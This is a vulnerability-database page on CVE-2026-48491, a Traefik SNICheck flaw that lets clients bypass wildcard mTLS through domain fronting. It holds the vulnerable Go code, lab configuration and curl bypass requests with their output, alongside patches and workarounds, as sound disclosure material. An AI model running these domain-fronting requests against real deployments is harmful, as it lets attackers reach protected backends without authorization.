          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48491",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-24T14:31:36.691139Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-23T20:16:48.123",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mailing List",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-288"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-807"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-5R4W-85F3-PW66

Vulnerability from github – Published: 2026-06-16 19:02 – Updated: 2026-09-02 15:34

Summary

Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass

Details

Summary

There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.

Patches

https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary Traefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host("*.example.com")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend. This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header. For HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling. ### Details For the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not. The router build records TLS option names for host rules:

domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)
// ...
tlsOptionsForHost[domain] = tlsOptionsName

The HTTPS forwarder then installs SNI routes:

rule := fmt.Sprintf(`HostSNI(%q)`, sniHost)

`HostSNI` matching is wildcard-aware:

return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)

But `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only:

func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    name := findTLSOptName(tlsOptionsForHost, host, fqdn)
    if name != "" {
        return name
    }

    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)
    if name != "" {
        return name
    }

    return traefiktls.DefaultTLSConfigName
}

func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    if tlsOptions, ok := tlsOptionsForHost[host]; ok {
        return tlsOptions
    }

    if !fqdn {
        return ""
    }

    if last := len(host) - 1; last >= 0 && host[last] == '.' {
        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {
            return tlsOptions
        }

        return ""
    }

    if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok {
        return tlsOptions
    }

    return ""
}

There is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`. Preconditions: - A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`. - The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP `Host` header different from the TLS SNI. Relationship to my previous HTTP/3 report: I previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup. This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend. Relationship to public issue #12349: This is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:

TLS options difference: SNI:https-ext@file, Header:default

The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy. Related wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained. Minimal dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

    public:
      rule: Host(`public.example.net`)
      service: public
      tls: {}

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

    public:
      loadBalancer:
        servers:
          - url: http://public:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected
      - public

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

  public:
    image: traefik/whoami:v1.11
    command:
      - --name=PUBLIC

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
  -keyout certs/ca.key \
  -out certs/ca.crt \
  -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes \
  -keyout certs/server.key \
  -out certs/server.csr \
  -subj "/CN=public.example.net" \
  -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com"

openssl x509 -req \
  -in certs/server.csr \
  -CA certs/ca.crt \
  -CAkey certs/ca.key \
  -CAcreateserial \
  -out certs/server.crt \
  -days 7 \
  -sha256 \
  -copy_extensions copyall

### PoC Start Traefik with the configuration above. Test environment: - Traefik images tested: `v3.7.0`, `v3.7.1` - Backend image: `traefik/whoami:v1.11` - Client: `curl` with HTTPS/HTTP2 support - EntryPoint: TCP port `8443` exposed locally - Provider: file provider Control 1: the permissive public route works normally and reaches the public backend:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/

Observed result:

HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443

Control 2: direct access to the wildcard-protected host without a client certificate is blocked:

curl --noproxy '*' --http2 -skv \
  --resolve api.example.com:8443:127.0.0.1 \
  https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 200
Name: PROTECTED
Host: api.example.com

The curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:

* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.com

Expected result:

HTTP/2 421
Misdirected Request

Traefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions. Negative control with exact host: Replacing the protected router rule with exact `Host("api.example.com")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

Run the same request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 421
Misdirected Request

This shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check. Regression test used during validation:

go test ./pkg/middlewares/snicheck \
  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
  -count=1

Version matrix observed with Docker images:

v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affected

### Impact Deployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint. The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route. A possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only. Possible workarounds until a fix is available: - Avoid wildcard router `TLSOptions` for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard `Host` rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

7.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T19:02:20Z",
    "nvd_published_at": "2026-06-23T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik\u0027s HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host\u0027s TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last \u003e= 0 \u0026\u0026 host[last] == \u0027.\u0027 {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route\u0027s mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\n    public:\n      loadBalancer:\n        servers:\n          - url: http://public:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n      - public\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n\n  public:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PUBLIC\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\n  -keyout certs/ca.key \\\n  -out certs/ca.crt \\\n  -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes \\\n  -keyout certs/server.key \\\n  -out certs/server.csr \\\n  -subj \"/CN=public.example.net\" \\\n  -addext \"subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req \\\n  -in certs/server.csr \\\n  -CA certs/ca.crt \\\n  -CAkey certs/ca.key \\\n  -CAcreateserial \\\n  -out certs/server.crt \\\n  -days 7 \\\n  -sha256 \\\n  -copy_extensions copyall\n```\n\n### PoC\n\nStart Traefik with the configuration above.\n\nTest environment:\n\n- Traefik images tested: `v3.7.0`, `v3.7.1`\n- Backend image: `traefik/whoami:v1.11`\n- Client: `curl` with HTTPS/HTTP2 support\n- EntryPoint: TCP port `8443` exposed locally\n- Provider: file provider\n\nControl 1: the permissive public route works normally and reaches the public backend:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PUBLIC\nHost: public.example.net:8443\n```\n\nControl 2: direct access to the wildcard-protected host without a client certificate is blocked:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve api.example.com:8443:127.0.0.1 \\\n  https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PROTECTED\nHost: api.example.com\n```\n\nThe curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:\n\n```text\n* [HTTP/2] [1] [:authority: api.example.com]\n\u003e Host: api.example.com\n```\n\nExpected result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nTraefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route\u0027s `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.\n\nNegative control with exact host:\n\nReplacing the protected router rule with exact `Host(\"api.example.com\")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n```\n\nRun the same request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nThis shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check.\n\nRegression test used during validation:\n\n```bash\ngo test ./pkg/middlewares/snicheck \\\n  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \\\n  -count=1\n```\n\nVersion matrix observed with Docker images:\n\n```text\nv3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup\nv3.7.0: affected\nv3.7.1: affected\n```\n\n### Impact\n\nDeployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.\n\nThe TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route.\n\nA possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only.\n\nPossible workarounds until a fix is available:\n\n- Avoid wildcard router `TLSOptions` for mTLS access control.\n- Enumerate exact protected hostnames instead of using wildcard `Host` rules.\n- Enforce mTLS in the default TLS options as well.\n- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.\n- Block or reject domain-fronted requests at another layer.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-5r4w-85f3-pw66",
  "modified": "2026-09-02T15:34:19Z",
  "published": "2026-06-16T19:02:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48491"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass"
}

OPENSUSE-SU-2026:11047-1

Vulnerability from csaf_opensuse - Published: 2026-06-17 00:00 - Updated: 2026-09-17 17:10

Summary

traefik-3.7.5-1.1 on GA media

Severity

Moderate

Scope

3 vulnerabilities in this advisory, including CVE-2026-48491.

CVE-2026-48491

10 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Recommended: 4 products

Open the full advisory

RHSA-2026:62260

Vulnerability from csaf_redhat - Published: 2026-09-01 18:22 - Updated: 2026-09-22 22:25

Summary

Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.

Severity

Important

Scope

70 vulnerabilities in this advisory, including CVE-2026-48491.

CVE-2026-48491

A flaw was found in Traefik, an HTTP reverse proxy and load balancer. This vulnerability allows an unauthenticated client to bypass mutual Transport Layer Security (TLS) enforcement, a security measure that verifies both client and server identities. The bypass occurs due to an issue in Traefik's domain-fronting protection (SNICheck), which incorrectly processes TLS options for HTTP Host headers. As a result, an attacker can gain unauthorized access to protected backend services without presenting a required client certificate.

9.1 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Fixed: 4 products Known not affected: 61 products

https://access.redhat.com/errata/RHSA-2026:62260

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-48491 (GCVE-0-2026-48491)

CERTFR-2026-AVI-0690

Solutions

FKIE_CVE-2026-48491

GHSA-5R4W-85F3-PW66

Summary

Patches

For more information

OPENSUSE-SU-2026:11047-1

RHSA-2026:62260

Tags

Sightings

Nomenclature

Related by attack behaviour